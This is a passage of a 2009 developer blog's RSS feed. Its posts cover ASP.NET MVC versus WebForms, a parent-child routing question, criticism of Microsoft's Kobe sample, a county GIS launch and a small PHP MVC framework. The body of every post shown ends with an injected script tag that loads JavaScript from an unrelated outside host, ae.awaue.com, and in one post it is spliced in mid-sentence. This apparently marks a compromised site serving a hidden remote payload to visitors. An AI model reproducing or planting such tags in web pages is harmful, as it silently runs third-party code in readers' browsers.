<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Notes
</p>
<p>   </span></p>
<ol style="margin-top: 0in" type="1">
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">The convention built into the MVC framework helps enforce a separation of concerns design pattern what helps developers built applications that are inherently more extensible and maintainable.
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">If your project/company has an existing large investment in 3<sup>rd</sup> party components you should consider sticking with whatever framework the components are developed for (Webforms or MVC)
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">component suites are available for both frameworks but many developers have found that jQuery, and to a less extent other open source frameworks, is a better solution for building rich UI
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">The convention built into the MVC framework helps enforce a separation of concerns design pattern what helps developers built applications that are inherently loosely coupled.
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">See note #4
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
</ol>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>DDD and ASP.NET MVC</title>
		<link>http://eric.polerecky.com/archives/ddd-and-aspnet-mvc/</link>
		<comments>http://eric.polerecky.com/archives/ddd-and-aspnet-mvc/#comments</comments>
		<pubDate>Sun, 17 May 2009 16:03:35 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[DDD]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/ddd-and-aspnet-mvc/</guid>
		<description><![CDATA[<br/>I find myself adding child objects within their parents control. For example; if I was going to add a child. I would call the parents controllers addChild action.
/parent/addChild/2
In this case 2 would be the id of the parent that I wanted to add a child to.
Doing it this way I don&#8217;t have to keep an


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>I find myself adding child objects within their parents control. For example; if I was going to add a child. I would call the parents controllers addChild action.</p>
<p>/parent/addChild/2</p>
<p>In this case 2 would be the id of the parent that I wanted to add a child to.</p>
<p>Doing it this way I don&#8217;t have to keep an internal track of which parent the user wants to add a child to.</p>
<p>For example /child/create does not tell me what parent I am going to associate the child with. In this scenario I would have to put the parent ID in session or something first.</p>
<p>Not sure if what I am doing is &#8220;right&#8221;&#8230;.I think so.<script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/ddd-and-aspnet-mvc/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>A completely biased comparison of ASP.NET MVC and Webforms</title>
		<link>http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/</link>
		<comments>http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/#comments</comments>
		<pubDate>Fri, 15 May 2009 14:38:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[WebForms]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>I have to admit I am total bias towards MVC but hear me out. I have yet to work in an organization that implements an OOP or even MVP when using WebForms. It’s all been directly bound controls to data readers/sets/tables. No object model, no business object layer, page_load is used and abused, etc. It


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>I have to admit I am total bias towards MVC but hear me out. I have yet to work in an organization that implements an OOP or even MVP when using WebForms. It’s all been directly bound controls to data readers/sets/tables. No object model, no business object layer, page_load is used and abused, etc. It can’t be stated enough that MVC will not save a project from the bullshit code that is forms over data crap but at least there is hope in the form of a tiny amount of guidance from Microsoft. &lt;/rant&gt;</p>
<h2>Introduction</h2>
<p>In the .NET world the MVC pattern is relatively new but it has been the staple development architecture for Java and Ruby for over a decade. Most of the current the debate between what technology is “better” is argued from a developer’s point of view. While the technical underpinnings of a technology can often translate to the projects success; I feel that both WebForms and MVC are mature enough that most projects will do fine with either.</p>
<p>The technical debate does nothing for those who are trying to persuade their organization to consider ASP.NET MVC. What I am trying to present here is a list of decision points an organization can use when deciding on MVC vs. WebForms. </p>
<h2>ASP.NET WebForms </h2>
<p>Through the abstraction of HTML, CSS, and JavaScript; ASP.NET WebForms attempts to recreate the experience of developing a desktop application. The entire HTTP protocol is successfully abstracted away and developers are present with a faux statefulness that mimics desktop applications. Development teams are able to use a WYSIWIG style of development.</p>
<h2>ASP.NET MVC</h2>
<p>Out of the box ASP.NET MVC forces developers to understand HTML, CSS, and JavaScript. There is little to no abstraction which can be a double edged sword. On one hand your development team has access to the raw power of the markup &amp; languages that make up the web. On the other; if your development team is not experienced with HTML, CSS, and JavaScript there might be a learning curve.</p>
<h2>Decision Matrix</h2>
<p>
<table cellspacing="0" cellpadding="0" border="1">
<tbody>
<tr>
<td valign="top" width="47%">
<p align="center"><strong>ASP WebForms</strong></p>
</td>
<td valign="top" width="52%">
<p align="center"><strong>ASP.NET MVC</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your project is small and your team is not experienced with MVC</p>
</td>
<td valign="top" width="52%">
<p>Your project is large (experience with MVC not required)</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your project requires many specific 3rd party vendor components</p>
</td>
<td valign="top" width="52%">
<p>Your project is not bound to 3rd party vendor components (The UI can still be very rich)</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your project team is not comfortable with open-source libraries (expecially jQuery)</p>
</td>
<td valign="top" width="52%">
<p>Your project team is comfortable with open-source libraries (especially jQuery)</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your customers requirements, possibly by contract, will not change during development</p>
</td>
<td valign="top" width="52%">
<p>Your customers requirements may change during development</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your project will never be &quot;extended&quot; or have a feature &quot;added&quot;</p>
</td>
<td valign="top" width="52%">
<p>Your project maybe be &quot;extended&quot; or have features &quot;added&quot;</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">&#160;</td>
<td valign="top" width="52%">
<p>Your project is mission critical and deserves the comfort provided by unit testing</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">&#160;</td>
<td valign="top" width="52%">
<p>Your project is limited in maintenance hours</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">&#160;</td>
<td valign="top" width="52%">
<p>Your project cares about HTML markup compliance</p>
</td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>I think that most projects will be able to succeed using either technology. The question is simply how much pain will you cause your developers? Will you stick with web forms and create an endless maintenance cycle? We know how much developers love maintenance programming. Or will you force them out of their comfort zone and make them learn something new for the sake of your project?</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Kobe: My response to the response.</title>
		<link>http://eric.polerecky.com/archives/kobe-my-response-to-the-response/</link>
		<comments>http://eric.polerecky.com/archives/kobe-my-response-to-the-response/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 02:23:24 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[Kobe]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=309</guid>
		<description><![CDATA[<br/>Let me start off by saying I am so happy with the “New” Microsoft. An engaged Microsoft, an open Microsoft.&#160; So to the Kobe team I say “Welcome to the real world”.
There are enough people writing about the amazingly horrible code. I’m upset with the response from the team. The response, at first glance, seems


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Let me start off by saying I am so happy with the “New” Microsoft. An engaged Microsoft, an open Microsoft.&#160; So to the Kobe team I say “Welcome to the real world”.</p>
<p>There are enough people <a href="http://weblogs.asp.net/rashid/archive/2009/04/16/kobe-ms-new-web-2-0-resource-kit-in-asp-net-mvc-and-my-thoughts.aspx#7048352" target="_blank">writing</a> <a href="http://ayende.com/Blog/archive/2009/04/17/kobe-ndash-data-access-done-wrong.aspx" target="_blank">about the</a> <a href="http://ayende.com/Blog/archive/2009/04/17/kobe-ndash-in-the-nuts-amp-bolts-and-donrsquot-really.aspx" target="_blank">amazingly</a> <a href="http://codebetter.com/blogs/karlseguin/archive/2009/04/16/kobe-oh-dead-lord-why.aspx" target="_blank">horrible code</a>. I’m upset with <a href="http://blogs.msdn.com/masashi_narumoto/archive/2009/04/17/project-kobe-community-feedback.aspx" target="_blank">the response from the team</a>. The response, at first glance, seems to acknowledge there is a problem and that they will fix the Kobe code. </p>
<p>Then I read it again…</p>
<p><a href="http://blogs.msdn.com/masashi_narumoto/archive/2009/04/17/project-kobe-community-feedback.aspx" target="_blank">This post</a> is defensive and response laden with manager speak for “fuck off”. More so, they don’t even acknowledge a problem with the Kobe code!</p>
<blockquote><p>The sample app is not a &quot;reference application&quot; in the context of code completeness. A &quot;sample app&quot; and a &quot;reference app&quot; are quite different in the context of code completeness, and we do not claim Kobe to be a reference app in this context. </p>
</blockquote>
<p>Oh!, I am so sorry, I thought it was a &quot;reference application&quot; now that I know its a &quot;sample app&quot; all is right in the world. FAIL. What is that code a sample of anyway? After looking at the code and reading the numerous community responses its quite easy for me to say.</p>
<blockquote><p>The Kobe code is a sample of how NOT to do ASP.NET MVC</p>
</blockquote>
<p>If we now have the same understanding of the word sample; then I agree; Kobe is a sample.</p>
<p>Now, I am aware that <a href="http://blog.wekeroad.com/" target="_blank">Rob</a> and the <a href="http://www.hanselman.com/blog/" target="_blank">Scott</a> are stepping in to <a href="http://twitter.com/shanselman/status/1540598780" target="_blank">clean this up</a>…Oxite déjà-vu. But I need to make one final comment about the teams acknowledgement of the problems in the code.</p>
<blockquote><p>We will review all sumitted feedback and take action to address items within the context of the intended scope &amp; goals of the Kobe project.</p>
</blockquote>
<p>That is so so so far from an acknowledgement. This is an <a href="http://twitter.com/robconery/status/1540132530" target="_blank">acknowledgement</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/kobe-my-response-to-the-response/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oakland County Launches Golf and Trails</title>
		<link>http://eric.polerecky.com/archives/oakland-county-launches-golf-and-trails/</link>
		<comments>http://eric.polerecky.com/archives/oakland-county-launches-golf-and-trails/#comments</comments>
		<pubDate>Fri, 13 Mar 2009 21:17:16 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ArcGIS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[mvc]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=304</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.arcgis.png" width="100" height="55" alt="" title="ArcGIS" /><br/>
Today Oakland County launched Golf and Trails, or GAT, their first ArcGIS Server Web Application based on the JavaScript API.
Over the past 2 years I, as a consultant via Technology Aces, have been part of a team of developers working on a very large GIS web application. So large and so complex that its first


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.arcgis.png" width="100" height="55" alt="" title="ArcGIS" /><br/><p><a href="http://eric.polerecky.com/wp-content/uploads/2009/03/image.png"><img style="border-right: 0px; border-top: 0px; display: inline; margin: 0px 15px 15px 0px; border-left: 0px; border-bottom: 0px" title="image" src="http://eric.polerecky.com/wp-content/uploads/2009/03/image-thumb.png" border="0" alt="image" width="244" height="211" align="left" /></a></p>
<p>Today Oakland County launched <a href="http://land.oakgov.com/golfandtrails" target="_blank">Golf and Trails</a>, or <a href="http://land.oakgov.com/golfandtrails">GAT</a>, their first ArcGIS Server Web Application based on the JavaScript API.</p>
<p>Over the past 2 years I, as a consultant via <a href="http://www.technologyaces.com/">Technology Aces</a>, have been part of a team of developers working on a very large GIS web application. So large and so complex that its first public appearance is as the underlying framework that powers <a href="http://land.oakgov.com/golfandtrails">GAT</a>.</p>
<p>I am happy to say that one of my projects with Oakland County finally released to the public, even if it is a “light” version.  <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/oakland-county-launches-golf-and-trails/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UPDATED: Back to work! Bye Bye Pinggr</title>
		<link>http://eric.polerecky.com/archives/back-to-work-bye-bye-pinggr/</link>
		<comments>http://eric.polerecky.com/archives/back-to-work-bye-bye-pinggr/#comments</comments>
		<pubDate>Wed, 07 Jan 2009 20:06:26 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[career]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[pinggr]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/back-to-work-bye-bye-pinggr/</guid>
		<description><![CDATA[<br/>I wanted to learn how to use facebook connect and ended up using FBC, Twitter, OpenID, some complex htaccess, got sick enough by the process (not having a PHP MVC framework to call my own) that I started on php.technologyaces.com 
I have code that won’t write itself…
Also, I decided to dump the simple framework…I think


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>I wanted to learn how to use facebook connect and ended up using FBC, <a href="http://Twitter.com/detroitpro" target="_blank">Twitter</a>, OpenID, some complex htaccess, got sick enough by the process (not having a PHP MVC framework to call my own) that I started on <a href="http://php.technologyaces.com" target="_blank">php.technologyaces.com</a> </p>
<p>I have code that won’t write itself…</p>
<p>Also, I decided to dump the simple framework…I think Code Igniter is simple enough. I don’t have time to play developer…I am in need of cracking stuff out quick!</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/back-to-work-bye-bye-pinggr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TA PHP MVC Rocks!</title>
		<link>http://eric.polerecky.com/archives/ta-php-mvc-rocks/</link>
		<comments>http://eric.polerecky.com/archives/ta-php-mvc-rocks/#comments</comments>
		<pubDate>Wed, 07 Jan 2009 06:44:05 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[ProjectV]]></category>
		<category><![CDATA[mvc]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/ta-php-mvc-rocks/</guid>
		<description><![CDATA[<br/> Or at least I think so&#8230;
I started using the PHP MVC thingy today &#8211; after spending a relatively short amount of time coding the core. I found there where a few missing items&#8230;who needs to support HTTP POST anyway?&#8230;and I needed just the little bit of sugar in the form of some db helper


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p><a href="http://eric.polerecky.com/wp-content/uploads/2009/01/ash-mvc-architecture.gif"><img style="border-right: 0px; border-top: 0px; margin: 0px 10px 0px 0px; border-left: 0px; border-bottom: 0px" height="210" alt="ash-mvc-architecture" src="http://eric.polerecky.com/wp-content/uploads/2009/01/ash-mvc-architecture-thumb.gif" width="244" align="left" border="0" /></a> Or at least I think so&#8230;</p>
<p>I started using the <a href="http://php.technologyaces.com">PHP MVC thingy</a> today &#8211; after spending a relatively short amount of time coding the core. I found there where a few missing items&#8230;who needs to support HTTP POST anyway?&#8230;and I needed just the little bit of sugar in the form of some db helper methods and FirePHP for debugging.</p>
<p>I spent about 3 hours coding the new MVC&#8217;afied <a href="http://dev.vinspection.com">http://dev.vinspection.com</a> and I am really happy with the new <a href="http://php.technologyaces.com">framework thing</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/ta-php-mvc-rocks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Model-less PHP MVC</title>
		<link>http://eric.polerecky.com/archives/model-less-php-mvc/</link>
		<comments>http://eric.polerecky.com/archives/model-less-php-mvc/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 21:28:58 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Project Templates]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[mvc]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/model-less-php-mvc/</guid>
		<description><![CDATA[<br/> I wrapped up the alpha version of the new Technology Aces PHP MVC Framework. Which by the way I really need a name for. TAPMF? um….no. 
I don’t have any code for the model yet…hence model-less MVC..I’ll have it done soon.


Features

PHP MVC&#8230;what more do you need?
Templeting/Caching via Dwoo
A slight bit of routing and error


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p><a href="http://eric.polerecky.com/wp-content/uploads/2009/01/image.png"><img title="image" style="border-right: 0px; border-top: 0px; display: inline; margin: 0px; border-left: 0px; border-bottom: 0px" height="159" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/01/image-thumb.png" width="244" align="right" border="0" /></a> I wrapped up the alpha version of the new <a href="http://php.technologyaces.com">Technology Aces PHP MVC Framework</a>. Which by the way I really need a name for. TAPMF? um….no. </p>
<p>I don’t have any code for the model yet…hence model-less MVC..I’ll have it done soon.</p>
<div id="contenttext">
<div class="bodytext" style="padding-right: 12px; padding-left: 12px; padding-bottom: 12px; padding-top: 12px" align="justify">
<h4>Features</h4>
<ul>
<li>PHP MVC&#8230;what more do you need?</li>
<li>Templeting/Caching via <a href="http://dwoo.org/">Dwoo</a></li>
<li>A slight bit of routing and error handeling</li>
</ul>
<h4>Features&#8230;soon</h4>
<ul>
<li>Base Model class for simple methods</li>
<li>CSS Reset</li>
</ul>
<h4>Features&#8230;Never?</h4>
<ul>
<li>Much more then is listed here&#8230;</li>
<li>Unless.</li>
</ul></div>
</p></div>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/model-less-php-mvc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
